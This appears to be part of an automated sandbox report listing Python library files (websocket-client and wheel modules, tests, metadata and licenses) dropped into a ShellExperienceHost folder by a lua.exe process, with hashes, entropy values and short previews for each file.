SHA-256:	FF1BD06F7DA844082A8A942DBC8219469434F358991D6F5D49A7BF7F6AB3F71C
SHA-512:	AC7514B9C4B7B34725DCF0E68FA28C44E2CE42E1A82762BA11C68AC1B5578E01893E3FA44C0A996645A5480BA526F032DB474C71F8ED9D5FA4E0F17D6CA9725F
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA..""".__all__ = ["HAVE_SSL", "ssl", "SSLError", "SSLWantReadError", "SSLWantWriteError"]..try:. import ssl. from ssl import SSLError. from ssl impo

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_url.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4725
Entropy (8bit):	4.546158742873555
Encrypted:	false
SSDEEP:	96:x9uN/6xb8xBQRoTRE3dr6m1fCnpQaywg2Qp9Ec:vuQCxBQRGREtr6m16pQwu/Ec
MD5:	97A4CC12A6415631D01F5D12B8B41440
SHA1:	FF7159A4F69C6A5EDB3BC8C52342B18C8BD17E45
SHA-256:	B1893275F0F2028F88C998312760815FF2C7D3FA6FC430AFBC367FE85FE8938D
SHA-512:	E61C49205D54E2B90511C29810A18E34465F5BBF859F2BD57A1D7B4FB98D15673F9021C26065B9AA3DCD48EFE13A1B942771C31400127F9129E2102923753CB7
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA.."""..import os.import socket.import struct..from six.moves.urllib.parse import urlparse...__all__ = ["parse_url", "get_proxy_info"]...def parse_url(url):

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3824
Entropy (8bit):	4.833652515749117
Encrypted:	false
SSDEEP:	48:xuOuN/byJHOGXqM8IkcvvCzlLkzcP3/6Crgdumjl681mXxm+5c7d61IHc9Re25:x9uN/6GlL/v/67dumjl6R8+5TIiReg
MD5:	85A44F7CD415954604BDDFDEA65788E0
SHA1:	0808B354FC14A3775E8C6D7252A0AC2A3C7B299A
SHA-256:	ECA2A254F4C481755986EFE792BCC4C352A5EE6454CF24BD0B2B66D0C9D846D6
SHA-512:	AA4E2B97B87360EEDA5CDA40985B4A6E4AD9B7B7378CB378DA5E4DF9FD949909CDE07731A3E643C24809F7DF4A8114255C316D359EB8A24C034B75E7AD8311D7
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA..""".import six..__all__ = ["NoLock", "validate_utf8", "extract_err_message", "extract_error_code"]...class NoLock(object):.. def __enter__(self):.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\cacert.pem Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	UTF-8 Unicode text
Category:	dropped
Size (bytes):	304893
Entropy (8bit):	6.054561786435774
Encrypted:	false
SSDEEP:	6144:tcv40fa9pdgENsKXZQw7U58fD2s42lMRTSp5plUHRs2Rr:tcvvS9XOs+vhRg5LrQ
MD5:	6E6743956EE0F3FA5094489673BEDC54
SHA1:	21B9ECDC477831F5BD62DAFE067E797BEA8A3B68
SHA-256:	113BE89390A3358988484F3E9FA903751ABC168F3F4BA9E2EE899FC1B15B8216
SHA-512:	EE9BADA99790CB371BC282CD72E6B8D20E61A5B6CD492538E66291BA43572F3DF88852B9A1710B1248DC48165F798DF434B3FD7050156961B772037D141AA70E
Malicious:	false
Preview:	# This Source Code Form is subject to the terms of the Mozilla Public.# License, v. 2.0. If a copy of the MPL was not distributed with this.# file, You can obtain one at http://mozilla.org/MPL/2.0/...# Issuer: CN=GTE CyberTrust Global Root O=GTE Corporation OU=GTE CyberTrust Solutions, Inc..# Subject: CN=GTE CyberTrust Global Root O=GTE Corporation OU=GTE CyberTrust Solutions, Inc..# Label: "GTE CyberTrust Global Root".# Serial: 421.# MD5 Fingerprint: ca:3d:d3:68:f1:03:5c:d0:32:fa:b8:2b:59:e8:5a:db.# SHA1 Fingerprint: 97:81:79:50:d8:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74.# SHA256 Fingerprint: a5:31:25:18:8d:21:10:aa:96:4b:02:c7:b7:c6:da:32:03:17:08:94:e5:fb:71:ff:fb:66:67:d5:e6:81:0a:36.-----BEGIN CERTIFICATE-----.MIICWjCCAcMCAgGlMA0GCSqGSIb3DQEBBAUAMHUxCzAJBgNVBAYTAlVTMRgwFgYD.VQQKEw9HVEUgQ29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNv.bHV0aW9ucywgSW5jLjEjMCEGA1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJv.b3QwHhcNOTgwODEzMDAyOTAwWhcNMTgwODEzMjM1OTAwWjB1MQswCQYDVQQGEwJV.UzEYMBYGA1

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\data\header01.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	163
Entropy (8bit):	5.189711116227937
Encrypted:	false
SSDEEP:	3:wL0OAUcNvR/Wd2ooAlH0ORTUOcAV5FuJQJMDyZylqrIARePwvn:wL0D3vk2ooAqjiVbQmCyMAr9YPwv
MD5:	CC4FB9E8F3C530FD9B42055A54C5B7A3
SHA1:	9B11A084470984BBA408D0798DDA44E15B4310DF
SHA-256:	791F540E99DFEE6444CACF4CB6D2B2B7307939703923038658964A99A178208F
SHA-512:	35575FB33F32AD50A7C440CC47D77E0A11174AF3310D23AC18F1BE346D28510E7E9E56FE072B9967D183AE84B490A9A7956ECA0FF4282820AC94C7974E163F57
Malicious:	false
Preview:	HTTP/1.1 101 WebSocket Protocol Handshake..Connection: Upgrade ..Upgrade: WebSocket..Sec-WebSocket-Accept: Kxep+hNu9n51529fGidYu7a3wO0=..some_header: something....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\data\header02.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	161
Entropy (8bit):	5.193368184427071
Encrypted:	false
SSDEEP:	3:wL0OAUcNvR/Wd2jpASORTUOcAV5FuJQJMDyZylqrIARePwvn:wL0D3vk2jpASjiVbQmCyMAr9YPwv
MD5:	75CF7095157E8EBB6B0B91EE2B28B984
SHA1:	0A51D6F37987F80E4464F61D295E602D7533C4AA
SHA-256:	D47CD0188306D0E1B07E76E846452AC1B4C48369D37AF397D966A3D2040045AC
SHA-512:	C49E7F98803697B2C15154EF9CD92B3C2D7B159FAA5371B2DCB20B90B3114A15588B538A6CE76922B74E264947601D08C9D054B86EA574B7A8AE3D6837C4A378
Malicious:	false
Preview:	HTTP/1.1 101 WebSocket Protocol Handshake..Connection: Upgrade..Upgrade WebSocket..Sec-WebSocket-Accept: Kxep+hNu9n51529fGidYu7a3wO0=..some_header: something....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\test_cookiejar.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3688
Entropy (8bit):	4.554515819306088
Encrypted:	false
SSDEEP:	48:zy7NlAuRirlAIRirlA2lAelAS/lAenYlAeTYlAemB+lAJRirlAZlAxlAb/lATIKC:4KgRJQrBoibsXBkOEH0OEHe
MD5:	582BC7C78D9C04599E41D5BCB9125EAC
SHA1:	C1402F768FBF3AA1B4221E4C614AEF2DE5EE50FB
SHA-256:	9C87B7C2EAE59248BDE21FF0E287D9542028440713C3C4F0D3C050CD26D115AB
SHA-512:	DBB453147C29CCE7C9938328CD232C04803D3087D78D7CD790834BD9B907D2FA7A266C5529016BC5EAAA8E928363831F57A2145419ADF9522263183543C8F090
Malicious:	false
Preview:	import unittest..from websocket._cookiejar import SimpleCookieJar..try:. import Cookie.except:. import http.cookies as Cookie...class CookieJarTest(unittest.TestCase):. def testAdd(self):. cookie_jar = SimpleCookieJar(). cookie_jar.add(""). self.assertFalse(cookie_jar.jar, "Cookie with no domain should not be added to the jar").. cookie_jar = SimpleCookieJar(). cookie_jar.add("a=b"). self.assertFalse(cookie_jar.jar, "Cookie with no domain should not be added to the jar").. cookie_jar = SimpleCookieJar(). cookie_jar.add("a=b; domain=.abc"). self.assertTrue(".abc" in cookie_jar.jar).. cookie_jar = SimpleCookieJar(). cookie_jar.add("a=b; domain=abc"). self.assertTrue(".abc" in cookie_jar.jar). self.assertTrue("abc" not in cookie_jar.jar).. cookie_jar = SimpleCookieJar(). cookie_jar.add("a=b; c=d; domain=abc"). self.assertEquals(cookie_jar.get("abc"), "a=b; c=d")..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\test_websocket.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	26649
Entropy (8bit):	5.0254494730690595
Encrypted:	false
SSDEEP:	768:s/DssK8AyLNRKUVMNQHJrAGW8rCifdF0pa0pBkcYNttQUbxd6vid/9pvTAwqmqCG:s/F3LNUUVs6WGWI1iKNttQUbxd6vid/i
MD5:	56E6D642B56E5096752BF1D24F341337
SHA1:	55BDEAF04E1AB89AEE7DBF889C9A6241149EC238
SHA-256:	A5028642A19292C30B72132D17E4CAB05FFD23320BCD6D133AA7E6278E1FD017
SHA-512:	085696527DAD49F013D9892547392AAB746D1B812732E04B7B4F289EC40CED33D7EBC8D513543830FA49E0B887080FC21B955998072912130D8EB7511F5D122D
Malicious:	false
Preview:	# -- coding: utf-8 --.#..import sys.sys.path[0:0] = [""]..import os.import os.path.import socket..import six..# websocket-client.import websocket as ws.from websocket._handshake import _create_sec_websocket_key, \. _validate as _validate_header.from websocket._http import read_headers.from websocket._url import get_proxy_info, parse_url.from websocket._utils import validate_utf8..if six.PY3:. from base64 import decodebytes as base64decode.else:. from base64 import decodestring as base64decode..if sys.version_info[0] == 2 and sys.version_info[1] < 7:. import unittest2 as unittest.else:. import unittest..try:. from ssl import SSLError.except ImportError:. # dummy class of SSLError for ssl none-support environment.. class SSLError(Exception):. pass..# Skip test to access the internet..TEST_WITH_INTERNET = os.environ.get('TEST_WITH_INTERNET', '0') == '1'..# Skip Secure WebSocket test..TEST_SECURE_WS = True.TRACEABLE = True...def create_mask_key(_):. retu

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket_client-0.57.0.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket_client-0.57.0.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1458
Entropy (8bit):	5.09172665947666
Encrypted:	false
SSDEEP:	24:LbUnezoLbOOrYFT5JYrYFTzL6pfBTPJ90432smEOkus8WROL32s3yxtTfy13tT+b:LqOOrYJQrYJzYpPz0432sBG32s3Etm10
MD5:	C4C4A98FBC4836B81C8C64D6ECB01FC1
SHA1:	6AB0289D84AC622DD4A6EFCF6B20D54E3E32F412
SHA-256:	A47B06717E8A3CF01D1307141287B1B4FA17FE4BB8785633D2FC6F57CB71D05E
SHA-512:	A9B6A55C2AB8EC056583D9FC15C30FD47AC33CDA89857EFDE731ADC202C8221121EEC826959F1287E3B3CF00572D445912634551B4C6864EEA8465412A27A342
Malicious:	false
Preview:	Copyright 2018 Hiroki Ohtani...Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:..1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer...2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution...3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS B

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket_client-0.57.0.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7485
Entropy (8bit):	4.998695683936481
Encrypted:	false
SSDEEP:	192:xdcPzePcQJGIFeRHZqFZqSmX1VmSSB1vJ+qKYRtNXsQ:ZPxGaIZMZqxXTm7B1J+qKctNXsQ
MD5:	017876EFC984FEA4DD696EB02C4B31B2
SHA1:	3E1D57AC9E2A68C2BE763E0E164C11ABD74EEA82
SHA-256:	D4B0BDF33B101B3A711AFEF6433D4B21AB7399A8CC820E3442DE16CA6C2CCBBA
SHA-512:	682E64124B6989AD9130F0F2E9235564E2BFE6D05749BAF7924A7C1B42684234CDA53858A867645FC7E1B47899C00F6F352369FB2484B77BE90150C4EE60133D
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: websocket-client.Version: 0.57.0.Summary: WebSocket client for Python. hybi13 is supported..Home-page: https://github.com/websocket-client/websocket-client.git.Author: liris.Author-email: liris.pp@gmail.com.License: BSD.Keywords: websockets.Platform: UNKNOWN.Classifier: Development Status :: 4 - Beta.Classifier: License :: OSI Approved :: BSD License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.6.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.4.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: 3.7.Classifier: Operating System :: MacOS :: MacOS X.Classifier: Operating System :: POSIX.Classifier: Operating System :: Microsoft :: Windows.Classifier: Topic :: Internet.Classifier

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket_client-0.57.0.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3022
Entropy (8bit):	5.6985763569008805
Encrypted:	false
SSDEEP:	48:syWgKtEukBgjL0f7CoZTKmETN64ft9KMZx4BnnJvxsyIKirOoI3JnuX8RDDdhylk:syWgKtlRf0fWoZTKmEhRft9KMZx4BnJt
MD5:	30407978F1B389571334D533A1DC1198
SHA1:	516A3826453967F1FD640392CBACF9BBE6F38BAD
SHA-256:	32168902FF7CDEB33CF37DDE11EB8255317FAF019FBA297A8FFC9BBF281DEC6A
SHA-512:	A33523147FEF340D00FC292CB8D8B14DD0C59AEABE7EBF28FC7AD68A6BFB029557968CF8DEEF6BA3821D8BD46079EE5E5F65BB4008E57E0C0AE8AB633BC30B42
Malicious:	false
Preview:	../../Scripts/__pycache__/wsdump.cpython-37.pyc,,..../../Scripts/wsdump.py,sha256=S54et6zebnxb2VJcgBadSnvXblK1iBF93ap54hlc5O8,6403..websocket/__init__.py,sha256=7xvjzZ8tWegR4j9yCpv66DmXanmitwfZf9H6LxRc3tc,1022..websocket/__pycache__/__init__.cpython-37.pyc,,..websocket/__pycache__/_abnf.cpython-37.pyc,,..websocket/__pycache__/_app.cpython-37.pyc,,..websocket/__pycache__/_cookiejar.cpython-37.pyc,,..websocket/__pycache__/_core.cpython-37.pyc,,..websocket/__pycache__/_exceptions.cpython-37.pyc,,..websocket/__pycache__/_handshake.cpython-37.pyc,,..websocket/__pycache__/_http.cpython-37.pyc,,..websocket/__pycache__/_logging.cpython-37.pyc,,..websocket/__pycache__/_socket.cpython-37.pyc,,..websocket/__pycache__/_ssl_compat.cpython-37.pyc,,..websocket/__pycache__/_url.cpython-37.pyc,,..websocket/__pycache__/_utils.cpython-37.pyc,,..websocket/_abnf.py,sha256=nShrTRJn5WvLG1KcAdsfU2KIwDjHtzFgpPSY9hFh6MQ,13791..websocket/_app.py,sha256=6wdPcCUbwBwuBmyaAt1vmRv-aMYhKpORMXXJ-aziwoo,13733..websocket

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket_client-0.57.0.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.810105929829005
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVin3hP+tPCCf7irO5S:RtBMwlVi3hWBBwt
MD5:	E810E49A07579615336DFE1362445C07
SHA1:	7C415D7E52F9507D6414824277CFAE91AB5006E7
SHA-256:	F3335865BC10497A01F487D73A33DF78DC2F02C00B0237DF824DBB16ABC259BA
SHA-512:	3422782BB6F30F4CFFC8BA0648F4A18B2A942A602D7F2676C04402B1549B34E50C1F5F5CD12FC495D08A9C0DB82FB78503CA075BC2479F9519960A0F044B1F09
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.33.6).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket_client-0.57.0.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.121928094887362
Encrypted:	false
SSDEEP:	3:z0v:wv
MD5:	71C6C146D1CD29F93BB2183D9500B500
SHA1:	E935307EE7A9C0D1297CBC05BF4E8D4EDF96D920
SHA-256:	F26FED4E971497358697CBFEA63E568BB5E100568DD7F6CB2911D0282CB3E7F2
SHA-512:	E43E0B6640119DDD818FC482F4F5C7F8513ED036926C7DA36BECDB4BFBA69C0319DAC8EA64C44C9954D7C6062A4D10C997AB6A003373C3311FE9D0E56554C6CF
Malicious:	false
Preview:	websocket.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\LICENSE.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	5.143411674177603
Encrypted:	false
SSDEEP:	24:UYWBarRONJHLH0cPP3gtkHw1h39QHOsUv4eOk4/+jvho3nPz:LtONJbbvE/NQHOs5eNS3n7
MD5:	9D66B41BC2A080E7174ACC5DFFECD752
SHA1:	53AA128E9D6387E9BB9D945FDCBF1AB4D003BAED
SHA-256:	CCA9E20C6AF1FCFBF69408F377769286CBEEBCDED336100C9B4A3F35FBE635E4
SHA-512:	12CBE04D36D2F0A856DA2001DC7D98D9E431DA37CCCF08F8AF20DD537F5AE7A19E1A7015C3A5542C0329EFBEC7E582751E4CEBCCB459C779BE804AA5B34D5E95
Malicious:	false
Preview:	"wheel" copyright (c) 2012-2014 Daniel Holth <dholth@fastmail.fm> and.contributors...The MIT License..Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included.in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL.THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR.OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRA

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	UTF-8 Unicode text
Category:	dropped
Size (bytes):	2277
Entropy (8bit):	5.122240183689081
Encrypted:	false
SSDEEP:	48:DEg03Cnd+p8d+zztjaaxLiPk1CliwqrwOT8RfkD1UKd+mOl1Awr+:DE7yQPzztjaaxmPko0lrfOfsUzmbY+
MD5:	8F630AAA4CE76C546F37B0DEB6EE7962
SHA1:	B4283F2280F8479F5BEAE36E8D2A486BAAE391A9
SHA-256:	C3DEA9017307656CC5CBE770A8666A5DBC6EE47BA9DDC6F7387BA3842B967C3B
SHA-512:	770C736EAF75414E260C9D84AAA8AD3229E621EB9728776FC2FCEE9D12696AE6B1FF94C86E6D56A411F1A7BC69D655D9F9452289660289DCA77F88D1C6C231AB
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: wheel.Version: 0.36.2.Summary: A built-package format for Python.Home-page: https://github.com/pypa/wheel.Author: Daniel Holth.Author-email: dholth@fastmail.fm.Maintainer: Alex Gr.nholm.Maintainer-email: alex.gronholm@nextday.fi.License: MIT.Project-URL: Documentation, https://wheel.readthedocs.io/.Project-URL: Changelog, https://wheel.readthedocs.io/en/stable/news.html.Project-URL: Issue Tracker, https://github.com/pypa/wheel/issues.Keywords: wheel,packaging.Platform: UNKNOWN.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python ::

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2804
Entropy (8bit):	5.745182144155119
Encrypted:	false
SSDEEP:	48:sBnuX/ayYzqGn85JGgWMLflJp8O+KprpITQgFvSyXH6jHL18myeyNVNkG9+mvinr:sEXVBGuUgp8t4r2TQyvSyXH6jH58/NVE
MD5:	8388842A2A40EB2B641E1333BAEDC467
SHA1:	F9A709CAC2AB2412B7F3594F9C73413B0B85F620
SHA-256:	53553E5CAEC403FA096E5C2E252DCAA86B52F5828307580DCEC8D42779313751
SHA-512:	FA272B4B9ACA3E5C8519EC024E3F4860E96C9D54DA57623AFEB1C16DB7E2527228FC06C36E1F13885C99C82C12A910CEA9E109E530B1371AEE1F03B8AA13F88C
Malicious:	false
Preview:	../../Scripts/wheel.exe,sha256=mAG_X5ZFdMxtFQaHaBJmvSphoLZwAH60mnxeP-DST7E,97117..wheel-0.36.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..wheel-0.36.2.dist-info/LICENSE.txt,sha256=zKniDGrx_Pv2lAjzd3aShsvuvN7TNhAMm0o_NfvmNeQ,1125..wheel-0.36.2.dist-info/METADATA,sha256=w96pAXMHZWzFy-dwqGZqXbxu5Hup3cb3OHujhCuWfDs,2277..wheel-0.36.2.dist-info/RECORD,,..wheel-0.36.2.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..wheel-0.36.2.dist-info/WHEEL,sha256=Z-nyYpwrcSqxfdux5Mbn_DQ525iP7J2DG3JgGvOYyTQ,110..wheel-0.36.2.dist-info/entry_points.txt,sha256=N8HbYFST3yrNQYeB2wXWBEPUhFsEtKNRPaCFGJPyqyc,108..wheel-0.36.2.dist-info/top_level.txt,sha256=HxSBIbgEstMPe4eFawhA66Mq-QYHMopXVoAncfjb_1c,6..wheel/__init__.py,sha256=gEack6q3vgbmrgen7cO3fCOv6vFF4hh2KYyj3fKk54I,23..wheel/__main__.py,sha256=lF-YLO4hdQmoWuh4eWZd8YL1U95RSdm76sNLBXa0vjE,417..wheel/__pycache__/__init__.cpython-37.pyc,,..wheel/__pycache__/__main__.cpython-37.pyc,,..wheel/__pycache__/bdi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlViHoKKjP+tPCCf7irO5S:RtBMwlViQWBBwt
MD5:	5BBA2AABC4A5D75E954C7EDF9834DE0A
SHA1:	407755EDC93510D5F7556ECDD1E7CB42F9357D8F
SHA-256:	67E9F2629C2B712AB17DDBB1E4C6E7FC3439DB988FEC9D831B72601AF398C934
SHA-512:	803B1181918FB2D93D2D2715D96E087E9333647C4A4A405D4FAD9DEDE0B77C8E3BCD5CAC7F3A426C60715202E2ECEBCD3EE9E066B2233A814A9A821D23BE88D0
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.36.2).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\entry_points.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.342039869160156
Encrypted:	false
SSDEEP:	3:1SSAsVYgh+MWTMhk6WjwVM5t5ln:1rb9WTMhk9jSM5t5ln
MD5:	7AB099DD08D127FFF9A98B12A6B127E0
SHA1:	8454C246D5A924CC6A13F5BFA188468E00F4D179
SHA-256:	37C1DB605493DF2ACD418781DB05D60443D4845B04B4A3513DA0851893F2AB27
SHA-512:	866EAFE67528CE8B692F474E7883BF776644CD41D13220D9C7F9446F7E325104C2F4ABF9B08701E470423756511D452885DFA1B875D4661D3472BC2002C28492
Malicious:	false
Preview:	[console_scripts].wheel = wheel.cli:main..[distutils.commands].bdist_wheel = wheel.bdist_wheel:bdist_wheel..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6
Entropy (8bit):	2.2516291673878226
Encrypted:	false
SSDEEP:	3:/sv:/sv
MD5:	EF72659542687B41FB1A4225120F41FA
SHA1:	3EF6EE742B2E851DEA1F754CE60A1FC222194799
SHA-256:	1F148121B804B2D30F7B87856B0840EBA32AF90607328A5756802771F8DBFF57
SHA-512:	A16A6E11367C986B2A7B38C491943B28F402081D3E2D41474C9E61BE44941133E87CB821750AD27A1E46FA2AFF9F93B8584C37247BDE219ABAC12D3D6EE4477C
Malicious:	false
Preview:	wheel.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.9148663038831004
Encrypted:	false
SSDEEP:	3:cvYiHXs:8YiHXs
MD5:	C2340F7278B73A5752A6A2D3ED0B5F03
SHA1:	BE98152CB2E2D2A4AF02A2C6DFA16ED554F0592F
